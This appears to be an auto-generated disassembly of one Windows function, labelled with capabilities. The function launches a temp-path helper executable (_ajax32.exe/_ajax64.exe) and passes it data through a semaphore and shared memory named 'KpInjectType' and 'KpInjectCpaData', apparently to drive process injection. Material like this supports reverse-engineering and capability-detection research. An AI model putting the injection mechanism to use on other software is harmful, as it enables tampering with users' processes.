Function at 0x4158f0
Capabilities:
Create process on windows
Get common file path
Read file via mapping

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x45ffbc
push eax
mov al, byte [0x478980]
mov dword fs:[0], esp
sub esp, 0x290
test al, 1
push ebx
push ebp
push esi
push edi
jne 0x415962
or al, 1
push 0
mov byte [0x478980], al
mov al, byte [esp + 0x17]
mov ecx, 0x478970
mov byte [0x478970], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov edi, 0x478924
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x478924
mov ecx, 0x478970
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push 0x416060
call fcn.0043d972
add esp, 4
mov al, byte [0x478980]
test al, 2
jne 0x4159b6
mov cl, byte [esp + 0x13]
or al, 2
mov byte [0x478960], cl
push 0
mov ecx, 0x478960
mov byte [0x478980], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov edi, 0x478924
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x478924
mov ecx, 0x478960
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push 0x416010
call fcn.0043d972
add esp, 4
mov eax, dword [0x478968]
test eax, eax
jne 0x415ca6
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19d]
mov byte [esp + 0x19c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x99]
mov byte [esp + 0x98], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x19c]
push edx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x98]
lea ecx, [esp + 0x19c]
push eax
push 0
push 0x4737a4
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea edi, [esp + 0x98]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
mov ecx, 0x478970
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x415a77
mov edi, dword [0x478974]
mov ecx, ebp
mov edx, ecx
lea esi, [esp + 0x98]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x478970
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
push 0x47389c
lea eax, [esp + 0x28]
push 0x478970
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov dword [esp + 0x2a8], 0
mov edx, dword [ecx]
mov ecx, 0x478960
push edx
push 0
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
push 1
lea ecx, [esp + 0x28]
mov dword [esp + 0x2ac], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov esi, dword [esp + 0x2b4]
mov edi, 3
mov eax, dword [0x478974]
test eax, eax
jne 0x415ae1
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
push esi
call fcn.00402fb0
add esp, 8
cmp eax, 1
je 0x415ba2
cmp eax, 0xfffffff4
je 0x415afc
dec edi
jne 0x415ad3
cmp eax, 1
je 0x415ba2
mov edi, 0x478924
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
mov ecx, 0x478970
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x415b4f
mov edi, dword [0x478974]
mov ecx, ebp
mov eax, ecx
mov esi, 0x478924
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x478970
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
mov edi, 0x478924
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
mov ecx, 0x478960
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x415ff4
mov edi, dword [0x478964]
mov ecx, ebp
mov edx, ecx
mov esi, 0x478924
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x478960
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
jmp 0x415ff4
push str.unrar.dll
lea eax, [esp + 0x28]
push 0x478c80
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov eax, dword [eax + 4]
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
test eax, eax
mov dword [esp + 0x2a8], 1
jne 0x415bd3
mov eax, esi
mov edx, dword [0x478964]
test edx, edx
jne 0x415bdf
mov edx, esi
mov ecx, dword [0x478974]
test ecx, ecx
jne 0x415beb
mov ecx, esi
push eax
push edx
push ecx
call fcn.0043d1e0
add esp, 0xc
lea ecx, [esp + 0x24]
test eax, eax
push 1
mov dword [esp + 0x2ac], 0xffffffff
sete bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
test bl, bl
je 0x415ca6
mov edi, 0x478924
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
mov ecx, 0x478970
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x415c64
mov edi, dword [0x478974]
mov ecx, ebp
mov edx, ecx
mov esi, 0x478924
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x478970
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
mov edi, 0x478924
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
mov ecx, 0x478960
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x415ff4
mov edi, dword [0x478964]
mov ecx, ebp
mov eax, ecx
mov esi, 0x478924
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x415b8c
mov cl, byte [esp + 0x13]
push 0
mov byte [esp + 0x18], cl
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov dword [esp + 0x2a8], 2
call fcn.00415890
test eax, eax
je 0x415d13
push str._ajax64.exe
lea edx, [esp + 0x28]
push 0x478960
push edx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov byte [esp + 0x2a8], 3
mov edx, dword [ecx]
lea ecx, [esp + 0x14]
push edx
push 0
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov byte [esp + 0x2a8], 2
push 1
lea ecx, [esp + 0x28]
jmp 0x415d56
push str._ajax32.exe
lea eax, [esp + 0x38]
push 0x478960
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov byte [esp + 0x2a8], 4
mov edx, dword [ecx]
lea ecx, [esp + 0x14]
push edx
push 0
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov byte [esp + 0x2a8], 2
push 1
lea ecx, [esp + 0x38]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x415d69
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
call fcn.00405f70
add esp, 4
test eax, eax
jne 0x415d92
push 1
lea ecx, [esp + 0x18]
mov dword [esp + 0x2ac], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x415ff4
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x58]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x54], 0x44
test eax, eax
jne 0x415db4
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [esp + 0x44]
lea edx, [esp + 0x54]
push ecx
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x415e00
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x415ff4
mov al, byte [ecx - 1]
test al, al
je 0x415fea
cmp al, 0xff
je 0x415fea
dec al
mov byte [ecx - 1], al
jmp 0x415ff4
mov eax, dword [esp + 0x44]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.KpInjectType
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebx, eax
test ebx, ebx
je 0x415dd7
push str.KpInjectCpaData
push 0
push 6
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
je 0x415dd7
push 0x14f0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x415dd7
mov ecx, dword [esp + 0x2b8]
test ecx, ecx
je 0x415f58
xor ecx, ecx
lea edx, [eax + 0x104]
cmp dword [edx], 0
je 0x415eb3
inc ecx
add edx, 0x10c
cmp ecx, 0x14
jb 0x415e74
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x415f4e
mov al, byte [ecx - 1]
test al, al
je 0x415f44
cmp al, 0xff
je 0x415f44
dec al
mov byte [ecx - 1], al
mov eax, 1
jmp 0x415ff6
mov edx, ecx
mov esi, dword [esp + 0x2b0]
shl edx, 5
add edx, ecx
mov edi, esi
push 0xffffffffffffffff
push ebx
lea ecx, [ecx + edx*2]
lea ebp, [eax + ecx*4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 1
mov dword [ebp + 0x108], esi
mov dword [ebp + 0x104], esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x104], 3
jne 0x415f14
mov dword [ebp + 0x104], 0
jmp 0x415dd7
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x415f3d
mov al, byte [ecx - 1]
test al, al
je 0x415f33
cmp al, 0xff
je 0x415f33
dec al
mov byte [ecx - 1], al
mov eax, esi
jmp 0x415ff6
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, esi
jmp 0x415ff6
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
jmp 0x415ff6
xor ecx, ecx
lea edx, [eax + 0x104]
cmp dword [edx], 0
je 0x415f76
inc ecx
add edx, 0x10c
cmp ecx, 0x14
jb 0x415f60
jmp 0x415dd7
mov edx, ecx
mov esi, dword [esp + 0x2b0]
shl edx, 5
add edx, ecx
mov edi, esi
lea ecx, [ecx + edx*2]
lea edx, [eax + ecx*4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [edx + 0x108], 0
mov dword [edx + 0x104], 1
mov eax, dword [esp + 0x18]
test eax, eax
je 0x415f4e
mov cl, byte [eax - 1]
test cl, cl
je 0x415fd9
cmp cl, 0xff
je 0x415fd9
dec cl
mov byte [eax - 1], cl
mov eax, 1
jmp 0x415ff6
dec eax
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
jmp 0x415ff6
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x2a0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x29c
ret